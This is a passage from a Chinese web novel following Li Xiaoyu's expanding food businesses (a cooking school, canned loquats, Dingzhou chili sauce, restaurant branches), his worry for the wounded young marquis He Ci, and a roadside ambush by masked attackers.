尤其是,刺刺一直在他们身边,得到他们的教导爱护,州州会那样,也是因为太想要父母的关爱。
林晚秋似乎说服了自己,终于闭上眼睛开始入眠。
年节很快过去,黎小鱼又开始忙活了起来。
第一件事就是测一测新办的厨师班,里面学生的厨艺如何。
学了有一段时间,得出来露一手,见见真章。
厨师学院的几位老师们,还有黎九州,周珍娘,小猫儿都是评委,涵盖各个年龄段。
学生们刚开始做菜的时候,多少是有些紧张,会出现一些小失误,有摔了碗的,有割破了手的。
不过后面慢慢的就适应了,做起菜来越发得心应手。
快速的切菜声后,就是一阵爆香。
菜的香气很快弥散开,等着尝菜的评委们闻着味,也有些馋。
快餐炒菜,主打一个快。
没一会功夫,每人就按着要求,做好了三菜一汤。
评委们分的量并不多,不然就那点胃容量根本就没办法把那些菜给尝一遍。
等全部尝完之后,大家也都吃饱了。
这些学生都很争气,有很突出特别好的,但做的很差的倒是没有,最差也是在及格线以上。
他们每天早上天不亮就起来练习,晚上睡的也晚,十分的刻苦。
天寒地冻,手上都长了冻疮,也阻止不了他们。
勤奋刻苦的人,总会成功。
黎小鱼对结果也很满意,可以进行下一个阶段。有经验之后,学起来会比之前更快。
差不多到夏天的时候,他们就可以完全出师外派出去了。
转眼就是上元节,黎小鱼又长了一岁。
赵怀钰赶在上元节前回来,给黎小鱼过生辰。
还帮着黎长清带了给黎小鱼的生辰礼,以及庆州酱菜工坊二成盈利的契约书。
今年与去年不同,凌少卿能正大光明的过来给黎小鱼庆生了。
柳玉攀也来了,他额头上裹着白布,手臂也受了伤,胳膊被吊起来,脖子上挂着个白布条。
在家里养伤的这两天,闲的人要发霉了,好不容易能有个出来的理由,自然是不能放过。
屁颠屁颠的就跟着凌少卿过来。
黎小鱼看到战损版的柳玉攀还愣了一下,“你什么时候回来的?”
“三天前。”柳玉攀嘴里塞着一块软乎乎奶香四溢的黄油吐司。
黎小鱼有意想问贺辞,一时间又不知道如何开口。
只能顺着柳玉攀的伤继续往下问,“你这一身的伤是怎么回事?边界线那边很凶险吗?”
“别提了,我发现我这人总走衰运。”柳玉攀把嘴里的黄油吐司嚼吧嚼吧咽下,因为吃的太急,有些卡嗓子。
他锤了锤胸口,才慢慢缓过来。
黎小鱼顺手给他递过去一杯茶水,“你慢点吃,谁和你抢了?”
柳玉攀喝了茶水,压下那股窒息感,“习惯了。”
喝了大半杯的茶水后,他才继续道:“今年外族那边有了时疫,肉源被毁,没办法过冬。离的近的几个部落,就联手起来,准备抢咱们的东西。规模比较大,就我带的那些人,哪里能够啊。”
说起来柳玉攀也有些胆战心惊的,那是他离死亡最近的时候。
“要不是侯爷带着援兵去的及时,我和小侯爷都得折在那。小侯爷那伤比我重的多,也不知道醒没醒。”
黎小鱼心下一沉,反应好一会才问:“怎么回事?伤哪了?”
柳玉攀没觉得不对,顺嘴往下说:“为了保护侯爷,站在高处吸引了对面的注意。不过对面也没讨到好,那领队的胖将军被小侯爷一箭射中眉心死了。对面直接一盘散沙,拖着尸体就跑了。”
“小侯爷身上中了几箭,人当时快不行了,后来撑了过来。确认没事后,我们才回程。”
柳玉攀把剩下的茶水喝完,一抹嘴道:“这下小侯爷如愿了,射杀敌方将领,这军功可不是一般大。”
凌少卿在一旁突然出声,叮嘱柳玉攀,“拿命换来的东西,能不大吗。家里可没人要你挣军功往上爬,你可别要军功不要命啊。”
“放心吧表哥,我当好校尉就够了。”
凌少卿发现他师父今天一直心不在焉,他甚至将盐当成了糖放在了糖醋排骨里面。
幸好他发现及时,不然这一锅的糖醋排骨,味道肯定就不好吃了。
黎小鱼的不对劲,黎家人也发现了。
见他一直皱着眉头,眼眶红红的要哭不哭,周珍娘特意过来询问,是不是身体有不舒服的地方。
黎小鱼摇头说没事,吃完午饭之后,就把自己关屋里,默写了一下午的菜谱。
晚上的时候,黎九州叫他出门一家子去看花灯。
小猫儿拿着他的走地灯,穿的厚实像个团子。
黎小鱼不想家人担心,收拾好情绪出了门。
一下午的默写,终于让他的情绪能平稳一些了。
今年依旧是先去看打铁花,路上还有人在谈论着去年的烟花,想着今年会不会还有。
黎小鱼听着周围的人说话,不由自主的想起去年贺辞拉着他去城外,给他放了烟花的画面。
他摸着手链,这正是那时候贺辞送他的生辰礼。
也不知道贺辞现在有没有清醒。
黎小鱼想着过段时间再像柳玉攀打听一下,就听见砰的一声,流光溢彩的烟花,在黑夜中炸开。
他仰头看向天空,烟花的光彩照耀下,能看见他眼角溢出的泪水。
贺辞,醒了。
定安侯看着天上的烟花,人气的不轻。
“这臭小子,醒了就往军营跑,放这鬼东西。那黎家的都不搭理他了,还上赶着真是丢脸。”
林晚秋有些失神,定安侯没听到回话,这才看向她担忧的问道:“夫人你怎么了?脸色怎么这样差?”
“没事,就是这些日子没有你们的消息,睡的不太好。夫君也不必担心,只要黎家那个对刺刺无意,他想做什么就做什么吧。”
定安侯揉着眉心,“夫人你就是太纵容他了。”
林晚秋嘴角扯出一抹笑,“哪有……”
此时军营里的贺辞,也仰头看着烟花,嘴角带着浅淡的笑意,“小鱼,生辰快乐。”
……
开春之后,罐头厂就开始上工了。
果子成熟到运输都还需要时间,正好黎小鱼也要对工人们进行培训,然后还要选出一些能力强一些的组长,以便于管理。
等到果子能从南边运过来,工人们差不多也能培训好。
夏安那边招来了足够多的工人,他精挑细选,都是能信得过的。
在对待黎小鱼的生意上,夏安都是十足的用心。
总觉得只要帮着黎小鱼好好的选人,以后能接到的生意就会越来越多。
邵怀筠那边动作也快,在五月之前,运了第一批的枇杷过来。
罐头工坊正式开工。
庆州黎长清办的酱菜工坊也开始了腌制第一批的酱菜,被黎长清拉上来的七名大商,虽然并不看好那些酱菜,不过他们的心情倒是不错。
那黎大人虽说人阴险了一些,不过也是个说话算话的,真的对外说了他们捐钱做好事。
现在他们在庆州的名声都往上上了一个台阶,生意也因此比之前更好一些。
好名声难得,不然他们也不会为了维护好名声,时不时的就要开设粥棚去施粥。
不论是罐头还是酱菜,都是需要时间才能成的。
第一批罐头好的时候,正好枇杷下市。
邵怀筠将货装上,运往了北面的州城。
邵家漕运生意做了多年,他们在每个有码头的州城,都能说上几句话。
按着黎小鱼的提议,邵怀筠没有在各个地方租铺子专门售卖,而是与一些饭馆酒楼,还有杂货铺子说好,他给寄放的费用,让他们腾一点小地方摆一下。
要是他们帮着卖出去的话,可以给他们提成。
一提到卖出去还能另外给他们钱,有的掌柜的不稀罕这点,但伙计稀罕啊。
铺子里来客人的时候会顺便说一嘴,饭馆里的有些胆子大的,直接就开了一罐当果子糖水卖。
寻思着如果卖不出去,那就当那一罐子是他们饭馆买了。
南边的枇杷很有名,不仅是因为它的味道清甜好吃,更是因为它能生津止咳,对身体好。
不过眼下的时节,南边都没有枇杷了,可他们这北地还有,实在是叫人难以相信。
因为好奇就想着看看,加上那店家说了不好吃不收钱,便点了一碗。
谁知道一吃就停不下来。
橙黄色的果肉软糯,汁水清甜,带着枇杷特有的味道。
糖水的糖恰到好处,不会太甜腻,又不会寡淡。
这会天气也开始热了,放在井里放一会,带着些许的冷意,直接就将那一点燥热之气给压下。
好喝!
一罐子罐头定价是三十文,量能分七碗。
饭馆拆开卖,一碗卖五文,最后还能倒赚五文钱呢。
这也让饭馆的看到了商机,在试过之后觉得可行,邵怀筠留在他们那里的那些罐头,干脆自己包圆了。
第72章 第 72 章
有的想多赚点的, 就每碗少给点果子和糖水,在里面加些井水。这样味道会淡一些,不过还是有味。而且能分更多碗, 卖的话就便宜一文钱。
也有不少人冲着便宜一文来买, 虽然没有那么甜, 可也能过个嘴瘾了。
等邵怀筠第二次去的时候, 不仅是那些被放了罐头的掌柜们喜笑颜开的过来, 还有那些没有被放罐头售卖的铺子掌柜,也一窝蜂的围了上来。
罐头的市场很大, 要是能拿到货源, 那就能多一份额外的收入。
邵怀筠第一次放给有交情的各个铺面里的量,都不算多。
一家也就二十来罐。
这东西量少赚不了, 但是积少成多, 要是量能大一些, 赚到的钱可就不是一笔小数目。
他们这时候过来围着邵怀筠,就是想能多拿货。
货好, 很多人抢着要, 这生意已经利于邵怀筠。
他要做的就是在此基础上, 将利益最大化。
邵家手中握着漕运,世代经商。邵怀筠从小耳濡目染,再不懂也不可能两眼抓瞎。
更何况他之前一直藏着,就是不想引起不必要的争端。
现在他是在为了自己的将来打拼, 自然要拿出十二分的力气来谈生意。
邵怀筠在每个州城都选了三家代理售卖的铺子,其他零散的散户, 想要买罐头可以直接去这三家买。
至于为何是三家, 自然是不想一家独大,也不想只有两家最后再合起伙来坑他。
三家的话, 不会彼此交心,能互相钳制。
有了代理的人,每次只需要送货收款就可以,既省心省力,还能把钱给赚了。
越到后面,罐头的出货量增加的越多,就连工坊都不得不扩建,再次招工。
黎九章对罐头工坊很上心,得益于两个儿子都当了官,其中一人还在翰林院,辞州官场对黎九章不像之前那样的排斥。
至少不会让他寸步难行,帮着江渚松死死的盯着他。
就连江渚松也只能睁一只眼闭一只眼,让黎家人折腾去。
他倒不是多怕翰林院里那个,怕的是隔壁定州那个。
黎长清和他是同级,离的又近,他要是再对黎九章动手,黎长清肯定能知道。
因为是同级,还不在一个州,就算是想用手段压下对方,江渚松都没办法。
现在只能以不变应万变,稍微缩一缩比较好。
定州的酱菜工坊,也终于在中秋之前,出了一批货。
定州辣椒酱。
黎长清第一时间给府衙还有那七个大商宅子送了,刚开始拿到这辣椒酱的时候,大家都还不在意。
只觉得黎长清贪的精明,那么多银子投下去,整了大半年,就弄出这么个辣椒酱。
辣椒谁没吃过?能好吃到哪里去?
李青和是定州同知,他最是讨厌黎长清。
刚开始的时候,在听说新来的上司身份的时候,李青和心里其实是期待的。
辞州同知黎九章是什么样的人,李青和有所耳闻。
与所有人一样,对黎长清的第一想法,都是觉得他会和他爹一样,刚正不阿,他眼里揉不得沙子。
李青和还以为定州终于要来一个不是尸位素餐,能好好发展定州的好官,结果没想到这人和他爹完全两个样子。
不仅贪污受贿,还逼着商人们掏钱。
还给自己贪污的那些银子找了个清白的去处,又给自己赢得一个好名声。
替定州建造酱菜工坊?破酱菜有什么好做的,不就是加点盐放点油。
这玩意能改变定州?骗鬼呢?
不止李青和这样想,所有人都这样想。
都当那工坊只是黎长清的遮羞布。
因此,在李青和收到辣椒酱的时候,他因为不想得罪上官然后又被穿小鞋,便直接放府上去没动过。
李青和本是农家子,因此对也是农家子黎九章一直很有好感。
他当官后也没有沾染恶习,在定州这样贫寒的地方,不贪污受贿的话,光靠着那点月俸,也住不了什么好房子。
一家七口人,都在一个不大的院子里住着。
这会秋老虎厉害,李母又热的吃不下饭。
儿媳盛婉准备去厨房做一道她家乡的菜,她家乡的菜都是辣菜,需要用到辣椒花椒。
辣菜能开胃,之前李母吃不下饭,盛婉就会做一道,李母就着菜能吃点。
“辣椒没有了吗?”
盛婉到厨房后,找半天没找到辣椒。
厨娘回道:“回夫人的话,辣椒这段时间都买不着,之前存下的干辣椒也都吃完了。”
盛婉一时间有些急,这可怎么办,没有辣椒她拿什么做菜啊。
见盛婉皱着眉头,厨娘想了一下说:“上回大人带了一罐辣椒酱回来,夫人要不要看看能不能用?”
那辣椒酱盛婉知道,酱菜工坊她也清楚,因为李青和没少在她面前骂过。
辣椒酱拿回来就没有开来吃过,家里都节俭惯了,也做不出不喜欢就直接扔掉食物的浪费举动,便一直放在厨房,眼不见为净。
这会实在是没有辣椒了,盛婉只能说:“拿来我看看。”
能不能用的,看了再说。
厨娘从柜子里拿了一个小罐子,她敲开外面封口的黄泥,取下油纸。
一道咸香油辣的味道扑面而来,口舌下意识的分泌着唾液。
好香啊这个味道!
盛婉对辣很有研究,她一下子就爱上了这个辣椒酱的味道。
不用吃都能知道,这个辣椒酱很好吃。
李家的中午饭,并没有多丰盛。
七口人,五菜一汤。
李青和每天中午都会回家里吃饭,上桌的时候,盛婉正好端着一个小碗从厨房那边过来。
“这是夫人做的辣椒小菜?闻着就香辣开胃。”
李青和起身接过盛婉手里的辣椒酱,他放桌上的时候,盛婉道:“不是我做的,是你上次带回来的。”
李青和停住动作,有些吃惊。
这怎么可能?黎长清那个假工坊里面做的辣椒酱竟然这样好闻?
看盛婉不像是开玩笑的样子,他不信也得信了。
在李青和放下辣椒酱以后,盛婉将它往李母那边放了放,“娘,这辣椒酱的味道我尝了,很好吃。娘你试着夹点在碗里,应该能吃得下饭。”
李母笑着点头,听儿媳的话夹了一点放在米饭上。
白花花的米饭沾了红彤彤的辣油,辣椒红绿相间被辣油包裹,鲜亮好看。
一阵咸香鲜辣的味道涌进鼻腔,李母吞咽着口水,搂了一口带着辣椒酱的大米饭。
辣椒的辣刺激着味蕾,似乎还有肉丝的口感,十分的开胃好吃。
李母吃了一口又迫不及待的夹了一筷子,这个配上大米饭,实在是美味啊!
李父本不爱吃辣,后来因为儿媳爱吃,家里总会有辣菜,他吃着吃着也习惯了。
看李母吃辣椒酱吃的香喷喷的,也有些好奇这个味道。
用筷子夹了一点直接往嘴里送,不由得眼前一亮。
辣椒酱香辣够劲,里面还有细碎的肉丝,增添了口感风味。
不得不说,这真的很好吃。
在其他人都忍不住尝了辣椒酱,最后连其他的菜都不想吃,光逮着辣椒酱吃的时候,李青和终于按耐不住好奇,尝了一口。
只一口,他就知道自己是误会了黎长清。
酱菜有用!
这样好吃的酱菜要是卖出去,何愁没人买啊!
他就着辣椒酱吃了两碗大米饭后,一抹嘴就跑去找黎长清。
此时黎长清正在和那些商人们说卖辣椒酱的事情。
商人们知道辣椒酱味道的比李青和要早多了,他们完全是怕黎长清会问他们味道,所以送到手的那天就叫下人开了尝。
不出意外,纷纷被辣椒酱的好味道折服。
就连不爱吃辣的,在吃这个辣椒酱的时候,都喜欢的不行。
至于为什么知道味道这样早,还迟迟没有定下怎么卖,完全是因为七人都想要独家售卖权。
这段时间忙着竞价呢。
黎长清还是那句话,价高者得。
辣椒酱只是第一种,后面还有十几种酱菜。
每个大商手里掌握几种酱菜售卖权,全看他们出的钱有多少。
李青和来的时候,辣椒酱的售卖权正好定下。
被城南赵家拿下,他家的生意不仅遍布定州,在其他州城也有,不过规模不算大。
但能够在异地他乡将铺子落下,且站稳脚跟,是很不容易的事情。
赵家能在不同的州城都有一两家铺子,规模再小,也是实力。
没能抢到售卖权的其他六人都遗憾的不行,黎长清笑道:“诸位别急啊,后面还有呢,总会抢到的。”
听到这个其他六人才稍微舒心一些,不然明明是一起投的钱,结果只有赵家得了好,他们心里肯定不能痛快。
知道后面还会有其他的酱菜,六人都暗暗的摩拳擦掌,下次一定要抢到。
等人送走后,黎长清才叫李青和进去。
“李大人这时候来找我,是尝过酱菜工坊里的辣椒酱了?”
李青和有些羞愧,他一拱手,“之前李某对大人多有误解,还请大人原谅。”
黎长清不在意的摆摆手,“误解而已,我不在意他人看法。李大人要是觉得酱菜工坊可行,不如帮本官多多的排忧解难。”
“只要是为了定州好,大人有什么事,尽管吩咐在下。”李青和点头道。
有了李青和做助力,黎长清轻松了不少。
时不时的去酱菜工坊监工还有应对那七名商人,黎长清基本上都交给了他。
黎长清每天只需要听李青和给他汇报情况就可以。
选李青和做这些,也是因为黎长清发现这人和他爹性格很像,说一不二,最适合唱红脸。
到时候他再稍微唱个白脸,很多事情都能事半功倍的快速解决。
第73章 第 73 章
辞州的罐头工坊还有定州的酱菜工坊, 在计划中,平稳的发展。
邵怀筠最喜欢货船回来后分账的日子,他的小金库一直都在库库往上涨。
黎小鱼赚的更多, 他的分成本就比邵怀筠多, 甚至还有定州酱菜工坊的两成利润。
酱菜工坊里出产的酱菜, 就连辞州都有货商在卖。
味道极好, 很受饭馆和酒楼的欢迎。黎小鱼发现, 有好几道用定州辣椒酱做出来的菜。
卖的都很不错,味道吸引人受众比较多。
他之前用光的银钱, 在罐头工坊和酱菜工坊步入正轨后, 快速且成倍的回来了。
手里有了钱,就可以进行下一步的发展。
黎小鱼做好规划, 找了他大伯父, 准备先在辞州大面积铺开黎家小饭馆。
专门卖炒菜快餐, 主打一个价格实惠,菜肴新颖。
多开铺子也能拉高本地的经济, 黎九章于公于私都乐意帮忙。
黎小鱼也没有让他大伯父帮别的, 就是拿了他大伯父的名帖, 拜访了在各个开黎记小饭馆分店的县城县令。
见面拜访,能让他的铺子安稳的开下去,不怕有人会找麻烦。
整个夏秋,黎小鱼都在忙活黎家小饭馆分店的事。
等他忙活完, 辞州再次步入了冬季。
一年的时间转瞬即逝,厨师班的学生们学成, 各地铺子正好装修完毕, 伙计也都培训好。就等着年后去铺子里上工。
十八岁这一年的上元节,黎小鱼仰头看见了烟花。
凌少卿和柳玉攀依旧前来给他庆生, 柳玉攀比起去年,成熟了许多。眉骨的地方因为受伤,多了一条短疤痕。将他浓黑的剑眉,截成断眉,多了几分冷酷。
倒是凌少卿没有太多的变化,这一年时不时的会去厨师学院溜达,偶尔还指点一下学生们做菜。
凌将军也不再像之前那样逼他,家里有一个能撑起凌家就够了,凌少卿想学做菜,就学吧。
因为凌将军的默认,凌少卿这一年来过的实在潇洒。
有时候为了做一道菜,寻原材料说出去就出去。炖一锅鲜菌汤,都能在山里头待好几天。给银子叫当地的村民带他去采刚生长出来,能吃的菌子。
黎小鱼忙完铺子的事情回来的时候,得空的话也会和凌少卿一起琢磨这些食材。
他不在的话,凌少卿有时候会和祁雾一起去。
祁雾寻常都穿着男装,加上她的长相帅气,个头也高,她自己不说没人以为她是女子。
凌少卿每次和她一起采集食材,研究菜谱,也会忘记祁雾是女子。只当是聊得来的知己,毕竟都有相同的喜好。
不过祁雾和黎小鱼一样,都是偶尔会和凌少卿一起去寻食材。
客来酒楼现在完全是她的,招牌菜佛跳墙只有她能做,点的人又多,每天也很忙。
又过一年,辞州的罐头工坊和定州的酱菜工坊规模又变大了。
它们不仅往大俞各地售卖,甚至还往互市售卖,生意好得不行。
两州的商税都因此比往年高出一截,且还在不断的攀升。
这一年,黎小鱼将黎家小饭馆在定州各县开了分店。
又有黎长清的宣传,定州也有不少人背起行囊去辞州的厨师学院报名学习。
现在学院有了足够多的老师,黎小鱼已经不再教小吃,让他教的那些菜色都不是一般厨子能学得起的。
就连厨师班也不用他整天盯着,之前的学生他也选了几个留下任教。
老师够多,学院够大,招生的名额自然也扩了不少。
厨师学院的名声,也随着越来越多学生出师,扩散出去。
互市行商多,那边的美食城两年来一直很受欢迎,规模也越来越大,摊主们都没瞒着他们再哪学的。
行商们从他们口中得知厨师学院的存在,也将消息带了回去。
而邵怀筠也受黎小鱼所托,让邵家的船队在各个码头宣传厨师学院。
两年来,不知不觉间,多地百姓都知道了辞州有一所厨师学院。在里面花二两银子,就能学到本事赚钱养家。
黎小鱼十九岁的生辰,依旧有漫天的烟花陪伴。
他今年太忙了,差点忘了要出来逛街看花灯。还是小猫儿把他从繁忙的事务中拖出来,让他放松一下。
这两年多的时间,黎小鱼把自己忙成了陀螺,一直转个不停。
就连黎九州都忍不住的说让他停停,家里已经足够有钱,这些钱就算是花几辈子都花不完。
他不想黎小鱼每天起早贪黑的,睁眼就想着怎么赚更多的钱。
周珍娘也总会觉得儿子像是变了一个人,以前都是钱够用就行,现在感觉这孩子赚钱赚疯了,不知道停手。
看到黎小鱼被小猫儿拽出来,透过绚丽烟花映射的光,黎九章轻叹一声。
“小鱼啊,你现在的财力在辞州已经数一数二。甚至已经延伸出去,在定州也能说上两句话。足够了,该停一停了。”
黎小鱼眼下有青黑,神色有些疲倦。他习惯性的蹭着左手手腕上的手链,“大伯父,还不够。”
他想要更多的话语权,要对辞州的影响,更深一些。
“小鱼,歇歇吧。”黎九章在府衙,看的比黎小鱼更清楚一些。
厨师学院的学生,现在除了辞州,定州的外,已经有其他州城来的了。
甚至互市那边的外商也有来询问,不过黎九章暂时拒绝了,他还想着自家人先学,后面有空再教外人。
罐头工坊更是养活一批窑厂,光工人就几百人,辞州的果农生活也提升了。更别提那些卖出去的罐头,直接拉高辞州税收。
出货量实在是太大了。
而小摊吃食,小饭馆,也让各个县城增长了一些收入。
现在要是有人动他侄子,别说辞州因他受益的人不会答应,长清和定州那边的大商们都能跳起来。
除此之外……
黎九章想了一下后,还是决定如实告知黎小鱼,“小侯爷回来了。”
这两年,黎小鱼其实很少听到身边人提起贺辞。
就连柳玉攀都很少提。
耳边有炸开烟花的声音,黎小鱼听着黎九章的话,微微皱眉,“什么意思?”
贺辞不是一直都在辞州军营吗?只是没有人给他说起贺辞罢了,所以感觉这人像是消失了一样。
只有每年生辰的烟花,让黎小鱼觉得贺辞还在。
黎九章摇头。
“两年前冬天边界线发生战乱,小侯爷重伤痊愈后,就带着人手悄悄潜入了外族的地盘。目的就是为了挑起外族之间的争斗矛盾,不能让他们团结起来。”
黎九章的脸被烟花照映着,光亮闪烁,神色凝重,“前段时间才回来,知道这事的人不多。不出意外,京城那边很快就会有嘉奖。”
黎小鱼好一会才消化完黎九章说的,所以烟花不是贺辞放的,一直以来,贺辞都不在辞州。
“大伯父,他受伤了吗?”黎小鱼终于找到了自己的声音。
黎九章再次摇头,“不清楚,不过一点伤不受也不可能。”
是啊,怎么可能会不受伤呢。
黎小鱼情绪翻涌,好在还能抑制住,不至于在这个时候哭起来。
黎九章稍微靠近,趁着烟花绽放,能压住他的声音时,对黎小鱼说:“小鱼啊,你们已经长大,磨砺中有了足以应对一切的底气。所以现在可以停一停,歇一歇,什么事情发展的太迅速,都会如空中楼阁,镜花水月。”
他这两年多将一切都看在眼里,之前他不想侄子和小侯爷扯上关系,就是因为小侯爷的身份。
可他也不傻,知道小侯爷命都不要,一意孤行要接离间外族部落的任务,就是为了军功。
为了能拥有说话的权利。
他侄子也是一样,拼命的赚钱,铺开生意。之前每天要睡足四个时辰的孩子,这两年多没有睡足一个觉。
所为目的,怕是与小侯爷一样。
他今日所言,也是一种默认。不管未来如何,至少他不会伸手阻拦。他的侄子,有能力对抗风险,无需他将人当婴儿一样护着。
黎小鱼也知道事情不能操之过急,他听了黎九章的话,轻轻点头。
只是有些担心贺辞,不知道他现在怎么样。
有一瞬间,黎小鱼想要去见见贺辞。
但又害怕打扰,毕竟已经过去两年多,黎小鱼也不知道贺辞现在的想法。
贸然前往,怕是不好。
翌日,黎小鱼一大早就起来,要去定州,看看各个饭馆分店情况怎么样。
回来的时候,正好再把辞州各地的饭馆分店都去看一遍。
想着基础要打牢,所以他在能多注意饭馆分店的时候,就尽可能的多注意一些。
主要抓的就是卫生和食材来源是否干净,这两样是重中之重。
黎小鱼和去年一样,坐着马车去定州。
马夫就是当年柳玉攀领来的人,说是暂时给黎家驾马车的,但现在两年过去,柳玉攀也没有来要回人过。
黎小鱼心里在猜马夫其实是贺辞要他来的,不过一直没证据。
定州到辞州的官道因为有行商的关系,不算太荒废。
路边隔一段也有个茶摊,不少的行商队伍会停下歇脚。
现在天比较冷,黎小鱼也想喝点热乎的暖暖,便和马夫在一个比较大的茶摊前停下。
茶摊不仅有茶水喝,还有简单吃食。
黎小鱼点了两碗面,加了牛肉。
热腾腾的面条散发着咸香,还有一些芝麻油的香气。
正吃着,黎小鱼就被马夫突然一下拉起来。
“怎么了?”
黎小鱼环视周围询问,马夫警惕的打量四周,“有马队疾驰,动静不太对劲。以防万一,郎君快上马车,我们现在就走。”
黎小鱼隐约间也听到了,地面有些微微震颤。
或许只是普通的赶路队伍,不过黎小鱼选择相信专业人士。
这还是马夫第一次在他面前,一点也没藏着掖着。
二人刚上马车准备离开,车厢就被一支箭射中。
马夫快速解开手腕上的绑带,露出藏起来的袖箭。
他借着马车做抵挡,抬手射出一箭,扭头对黎小鱼道:“郎君不要出马车。”
说罢人就下了马车,抽出腰间软剑,与来的一队蒙面人打了起来。
此时茶摊周围的人已经尖叫着四散逃开,除了黎小鱼的马车外,就只有七名蒙面人还有与他们缠斗的马夫。
对面各个全副武装,马夫一人不是对手。
很快就有三人越过了马夫,直奔黎小鱼所在的马车。
领头的那个刚掀开马车就准备挥剑,却不料眼睛突然剧痛无比。
黎小鱼冷着脸,手上的匕首在滴着血。
“你们是谁派来的?”
三人没想到黎小鱼会动手,他们没有回答黎小鱼,而是联手进攻。
眼睛受伤的那人忍着剧痛,他离的最近,想着先牵制住黎小鱼。
岂料他的手腕被抓住后,死活也挣脱不开。最后疼的连手中的剑也握不住,当啷一声落在马车上。
这人力气怎么这样大!他手骨头要被捏碎了!
黎小鱼把匕首插回去,捡起落下的长剑。他不会舞剑,胜在力气够大,横着剑在胸前,直接把另外两人给挡了出去。
空间变大后,黎小鱼不再束手束脚,他用尽力气去劈砍格挡,两名蒙面人只觉得握着剑的手都被震麻了。
马夫那边三人围攻,还有一人在远处放箭企图射中黎小鱼,都被马夫挡下。
随着打斗时间变长,马夫体力不支,没能用软剑挡下对面的箭。
情急之下,他直接飞身用身体挡箭,黎小鱼回头看见马夫胸口插着箭,心中担忧不已。
就在分神瞬间,被蒙面人划伤手臂。
黎小鱼抬剑要反击,却听见一声哨音,蒙面人尽数撤退。
黎小鱼顾不得其中怪异,赶紧去查看马夫的伤口。
箭杆已经被马夫折去,他脸色苍白,满头的冷汗。在看到黎小鱼左臂上的伤口时,眉头紧皱单膝跪地,“属下保护不力,请郎君责罚。”
黎小鱼都要急死了,“你都伤成这样了,还有心思想着责罚。”
马夫的伤在胸口,背着扛着都会压到,左思右想只能把人打横抱起。
马夫上一瞬还单膝跪着请罪,下一瞬就感觉人腾空,等反应过来的时候,他整个人被抱起来了。
“郎君!属下……”
黎小鱼心里着急,怕人死了,情绪一激动眼眶就红红的,“别喊了,保存点体力,别让自己晕过去。”
他把人放进马车里,这两年他不会骑马,但马车是能驾的。
就是不太熟练,不过能让马跑起来,大方向也能控制住。
定州距离还远是去不了,只能往回走。
半日的功夫到了一个村子,那村子里面有个赤脚大夫。村子靠山,猎户比较多。治疗这样的伤口,多少也算有经验。
箭头有倒钩,想拔出来很难,只能割开周围血肉再取。
还好不是很深,虽然比较遭罪,但只要取出箭头来命就能保住。
黎小鱼不敢看取箭的画面,光想想他就觉得肉疼。听着马夫的闷哼声,打心底里佩服。
真能忍啊,这都能不叫。
取完箭后,黎小鱼也处理了一下伤口。
得益于天冷穿的厚实的缘故,他的伤口也不深,但留疤是肯定的。
因为突然有人刺杀,加上马夫受伤严重,他不仅胸口中箭,身上也有其他的剑上。黎小鱼没有再去定州,而是在村子里休息两天后,回了辞州。
……
黎九州和周珍娘见马夫和黎小鱼去而复返,还都受了伤,两口子心里又怕又心疼。
知道马夫是为了保护黎小鱼,伤的才这样重,感激的恨不得给人磕一个,每天和黎小鱼一起变着法子的给马夫做好吃的。
回来三天,黎小鱼每天都在想谁是这次的幕后主使。
看着像是为了阻止他去定州。
可要是阻止他去定州,不是应该一直拦着,又或是重伤他?
黎小鱼可以确定,那群人就是在见伤了他后就立马走了。根本不在意他是轻伤,还是重伤。
很奇怪。
这几天他也和马夫聊过,马夫也说在打斗的时候,那些人并没有往要害处动手。
而且那箭如果不是马夫挡下,看轨迹会射中他的手臂。
收着手避开要害,不想他死,只想他受伤。
黎小鱼突然想起一个人来,他起身取出柜子上的小盒子,里面是二哥黎长语这两年内从京城送来的信。
有大半都是关于贺州。
自从琼林宴被提醒贺州会对黎小鱼动手后,黎长语也是一直盯着贺州。
在收到黎小鱼的信,让他查一查贺州在京城的情况时,就将他知道的全都写了。
后面他也没有停止对贺州的打探和注意,此人体弱多病,每次示人都是苍白着一张脸,病怏怏的模样。
个头倒是高,就是太瘦了,偏眉目俊朗性子温和,引得不少女子关心。
就连最受宠的十五公主,都爱慕于贺州。
黎小鱼重新翻看他二哥给他送来的信,信里的贺州,表面上就是个人畜无害,软的没一点脾气的。
刚开始的时候,黎长语也被表象蒙骗。他都快以为是那人胡说,结果就被他撞见贺州嗓音温和的逼着一名内侍喝滚烫的水。
因为对方给他倒的茶水有点烫,所以他要对方尝尝成倍的痛。
黎小鱼看着信,都是他二哥发现的关于贺州明面上与私下不一样的地方。
不难看出,贺州的性格有些扭曲。
他带着一张人畜无害,温和可亲的面具,在面具下,有张着要吃人的獠牙。
两年前就有人提醒,贺州会对他动手。但这两年里,对方却一直安安静静。
如果这次真的是贺州搞鬼,那他之前为什么一直不动手,非要这个时候冒出来。
黎小鱼想到上元节大伯父说的话,似乎想通了。
之前不动手,是因为贺辞不在。
明确的说,贺州不是想对他动手,而是在针对贺辞。
第74章 第 74 章
黎小鱼意识到事情不对, 连忙去找了马夫。
“你将遇险的事情告诉小侯爷了吗?”
马夫神色未变,他知道黎小鱼早有怀疑,这次出手护人已经是一种默认。
“嗯, 在村子里的时候, 就已经找人送了消息。”
黎小鱼有些惊讶, 他那时候都没怎么离开, 是怎么找到机会还叫了人送信的?
他竟然一点也没发现。
不过现在也不是想这些的时候, 黎小鱼轻叹一声,“我怀疑有人故意这样, 就是为了试探小侯爷。”
马夫听出黎小鱼猜到了背后指使的人是谁。
他握拳劝道:“这事小侯爷会解决, 郎君安心的过好自己的日子便可。”
黎小鱼没有认同马夫的话。
“我去不了军营里面,想要见小侯爷, 你能让他出来吗?”黎小鱼说了自己的想法。
马夫神色一顿, “近些日子可能不太方便。”
黎小鱼察觉到不对劲, “他出什么事了?”
马夫不敢说,黎小鱼道:“你不说, 我也会想办法让人去打听。”
犹豫片刻后, 马夫回道:“小侯爷被侯爷关起来了。”
这事要不了几天就会在辞州传来, 有心人稍微一打听就能清楚始末。瞒也瞒不住,既然黎小鱼执意知道,不如先说了。
又被关起来?
黎小鱼皱眉问道:“被关是和这次我们遇险的事情有关?”
马夫点头,“小侯爷查到了谁帮着二公子找人动手, 就带着手底下的兵围了府。”
“是谁?”
“裴家七郎,裴叔群。”
……
在外近两年的时间, 贺辞每天靠着要回来见黎小鱼的念头, 撑了过来。
经历九死一生,终于再次让外族部落乱起来。也因此得到了足够大的军功, 这样就可以有足够的底气和他爹娘说不再相看,他只要黎小鱼。
贺辞想着,等伤养好一些,他就去看黎小鱼。
想和黎小鱼说,可不可以相信他。
